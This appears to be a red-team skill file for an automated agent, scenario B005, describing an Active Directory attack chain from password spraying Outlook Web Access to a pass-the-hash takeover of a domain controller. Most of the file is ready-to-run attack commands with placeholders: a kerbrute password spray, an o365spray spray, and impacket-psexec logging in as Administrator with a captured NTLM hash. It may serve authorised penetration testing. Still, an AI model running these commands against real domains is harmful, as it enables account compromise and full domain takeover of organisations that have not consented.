---
name: rt-scenario-b005
description: "Scenario B005 — Password spray OWA → foothold → internal recon → pass-the-hash to Domain Controller."
---

# Scenario B005: Password Spray → OWA → Pass-the-Hash to DC

**Domain**: Active Directory | **Severity**: Critical | **CVSS**: 9.1

## Chain
```
Enumerate AD users via LDAP/web → spray common passwords against OWA →
access Exchange → find NTLM hash → pass-the-hash to DC
```

## Key Commands
```bash
docker exec rtexit-kali bash -c "
# Spray
kerbrute passwordspray --dc {dc_ip} --domain {domain} \
  /workspace/recon/{target}/users.txt 'Password2026!'

# OWA spray
o365spray --spray -U users.txt -p 'Password2026' --domain {domain}

# PTH after getting hash
impacket-psexec -hashes :{ntlm_hash} {domain}/Administrator@{dc_ip}"
```
→ `rt-password-spray` → `rt-exploit-active-directory` → `rt-lateral-movement`
